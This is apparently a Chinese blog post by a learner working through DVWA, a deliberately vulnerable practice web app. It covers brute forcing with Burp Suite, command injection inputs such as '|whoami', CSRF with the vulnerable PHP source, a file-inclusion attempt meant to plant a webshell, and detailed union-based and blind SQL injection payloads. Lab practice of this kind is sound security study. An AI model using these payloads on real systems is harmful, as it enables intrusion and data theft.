DVWA的小尝试
安装配置
因为我们之前已经安装过了Phpstudy,所以就不介绍安装了
创建完网站后到config.inc.php文件里把用户名和密码改成下面这样子
我的路径是这样子哒——"D:\phpstudy_pro\WWW\DVWA\config\config.inc.php"
哦哦有些安装包下载下来的是config.inc.php.diet什么来着的,自己重命名一下变成config.inc.php就好啦
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'root';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '123456';
这些都弄好之后,打开网站就ok啦
遇到的坑
讲起来好像很轻松,但是在这里有被卡好久,点进网站都只显示站点已创建成功
就这样子,反复删了安装包,各种重装,发现还是不顶
后来才知道是因为文件放置的问题,注意看这个文件,下面要考的哈哈哈哈哈
要把DVWA-1.9里面的东西复制粘贴一下到现在这个里面
如图,弄完上面的就可以了到DVWA的登录页面了
默认用户名:admin 密码:password 登录一下就可以开始trytry这个top10的靶场了哈哈哈
Brute Force暴力破解
Low
一看就是爆破,爆破就意味着要见到我男朋友巴巴苏特了
是他是他,send to inturder一下
他会自动标出参数,我们全部clear先,只要add一个"1"就好啦,再去Payloads页面直接选一个牛一点的字典,让他自己慢慢爆
遇到的坑(一)
扫了自己有点全部字典了要,一直都扫不出,大离谱事件
后来知道了302跳转这个知识点
刚以为可以了,就出现了新的问题,于是有了坑二
遇到的坑(二)
用Microsoft Edge浏览器可以正常浏览,火狐就不行,看向了谷歌,但是没安装switch omega插件,还查不到救命,好像说要外网访问,去找度娘了解了一下怎么转换成外网,有点看不明白救大命
今天好累,还没有完成任务啊嘞,死在第一个靶场就很离谱
望周知,出bug咱就先try try重启
遇到的坑(三)
在这里遇到了一个问题 爆破的时候length出现了三种数字
依次输入都显示错误,好家伙,直接锁十五分钟
后来发现是因为难度级别设置成了impossible,改成low就可以了
接下来就是正常操作,抓包,爆破,然后今天第一次知道原来burp有自带字典,点红框这里,选"password"这个选项
扫完发现有个不一样的,查看响应包
一、输入"welcome"可以直接跳转到我们要看的地方(如果是这个密码的话,就会有这一句话)
二、通过reader也可以看到页面的响应
Medium
操作和low是一样的,就是它这次加了一个sleep()函数,每个参数爆出都要延迟两秒
方法一
慢慢等它爆完(巨久无比)
方法二、
有个帅哥自己写了个脚本哈哈哈哈,成功提速,咱就是说除了我做不到也没什么不好的~失策,忘记截图了
High
好卡,救命
同样是抓包,会发现多了一个user_token参数,先send to inturder
把password和user_token参数都设置为变量
这里有一个注意点,涉及到一个之前都没有接触到的版块,在这个版块里设置一下线程先,不然就会十个十个数扫,也超慢
再来这里修改一下redirections重定向参数,总是允许
可以开始爆破啦
救命,虽然好像是成功了,但是感觉密码是空就有点离谱了啊喂,应该是bug叭
查了一下资料,好像说要修改Payload set 1和Payload set 2,可是不知道为什么我这里没有2出现
(payload set 2 要修改成 2 ;Recursive grep 的参数)
重新试了一下,因为参数没有设置到位,就成功不了啊啊,等会回来看
Command Injection命令注入
Low
输入"|whoami" //(不用输入前面的127.0.0.1,系统会自带的)
输入"|ipconfig"
至于为什么没有乱码一样的,咱就是说又跟师傅学到一招嘿嘿
这里还学到了另一个小知识——Window系统命令
输入"|echo 123 > 3.txt"
"|dir"
这里指的是添加了一个3.txt文件,123是文件内容
我们可以复制上面的路径去瞅瞅
可以看到我们成功添加啦
已经不明觉厉了哈哈哈哈哈哈哈,命令注入的作用,以后有机会开始挖洞可以try try
Medium
哦哦这里想起来今天学到的,这里的 | 管道符也可以有多种表达
";" 前后语句同时执行
127.0.0.1;whoami
它这里过滤了一些特殊标点可以在源码里看到
命令连接符
怕记错了就查了一下
High
直接查看源码,发现过滤的字符变多了,前面列出的全被过滤了
查了管道符的转义和base64编码,后来回来再看一遍源码,发现它的引号隔超远,原来|后面还有个空格救命
拼了半天,连127.0.0.1|| | |whoami都试了,差点给自己绕进去,直接127.0.0.1|whoami就好了,谢谢有被蠢到
事实证明不能想太多~
Cross Site Request Forgery (CSRF)
Low
随意输入一个用户名和密码,会发现显示密码已被更改
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
抓包一下,按照图上的操作来一下
后来出现了一个界面,根据
会出现一个网址HTML
我们到浏览器里尝试一下,出现了一个submit命令
点击试试看,嗯,很好,没反应,得去看看有没有成功提交,现在就是不知道要在哪里看
反正这个网页能正常访问,就表示存在csrf漏洞啊嘞
Medium
File Inclusion
Low
点那三个文件好像没什么用,查看源码先
可以看到没有过滤,我是先输入http://dvwa/vulnerabilities/fi/?page=xjw.php
返回了报错,并且附带了网站的绝对路径(第一行warning的是我们指定要找的文件)
然后我先去kali上执行一些操作,目的是为了多一个文件,可以在里面加个马嘿嘿
先到家目录中:cd ~
再到桌面目录中:cd Desktop
查看命令: ls
SQL Injection
Low
查看是不是可以注入,先输入了1' and 1=1-- ,输入了1' and 1=2-- 就开始报错,所以存在注入
这边要注意不要落了后面的-- (有一个空格)
依次输入1' order by 1-- ;1' order by 2--
输到3的时候出现了报错,说明字段只有两个
输入1' union select 1,2--
输入1' union select version(),database()--
遇到的坑(一)
输入1' union select group_concat(table_name) from information_schema.tables where table_name='users',2-- //发生报错
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_name='users'-- //还报错
后来知道了是编码问题,后来去phpmyadmin里修改了排序规则,就可以正常了,这边再次谢谢帅哥
输入1' union select 1,table_name from information_schema.tables where table_name='root'--
接下来查列
输入1' union select 1,column_name from information_schema.columns where table_name='users'--
出了好多,成功在一坨里看到了username和password两列,接下来尝试查看两列中的内容
1' union select 1,concat(username,password) from users--
出现了报错啊嘞,说username不存在,把它换了,还有一个USER、id啥啥的列,可以试一下
很幸运,输入1' union select 1,concat(USER,password) from users-- 就出来了
成功爆出
不知道为什么Medium不能成功跳转,那就先放着好了
SQL Injection (Blind)
输入1' or 1=1-- 出现一个User ID exists in the database的回显,说明成功
输入1' and length(database())=1-- //猜数据库长度
说明长度不对,继续慢慢试一下
输入1' and length(database())=4--
成功盲猜哈哈哈,数据库长度为4
输入1' and ascii(substr((select database()),1,1)) > 97--
查询数据库名的第一位,成功
输入1' and ascii(substr((select database()),1,1)) <122--
这两条是判断第一位是否为小写字母,然后直接再继续缩小范围
最后输到114的时候就可以了
对照ASCII码表,可以发现是 r
接下来就是用相同方法找出其他字符,最后得出数据库名叫root
小知识
substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值
输入1' and (select count(table_name) from information_schema.tables where table_schema='root')=1--
这里是要得出数据库里的表的数量,依次尝试1,2,出来啦,root数据库里存在两个数据表
输入1' and (select length(table_name) from information_schema.tables where table_schema='root' limit 0,1) =9--
成功,说明第一个数据表的长度为9
输入1' and (select length(table_name) from information_schema.tables where table_schema='root' limit 1,1) =5--
查看第二个数据表的长度,可得为5
接下来就是和查数据库名字的方式一样,连语句都不用怎么改
1' and ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1))>97--
1' and ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1))<122-- //两条都正确,说明是小写英文字母
继续缩小范围,可猜解出两个表名分别为guestbook和users,接下来就是看数据表里的列数了
遇到的坑(一)
输入1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=1--
不知道为什么输入什么数字都是User ID exists in the database.啊嘞
还剩下几步,我们先准备准备睡觉哈哈哈哈哈哈哈,continue~
1’ and (select count(column_name)from information_schema.columns where table_name=‘users’)=8 --
说明users数据表有8列
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7--
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=6--
得出users表中的第一列长度为7,第二列为6
接下来继续无脑求名字
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>97--
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))<122--
最后对照ASCII码表得到的名字为user_id,first_name,last_name,user,password,avatar,last_login,failed_login
评论已关闭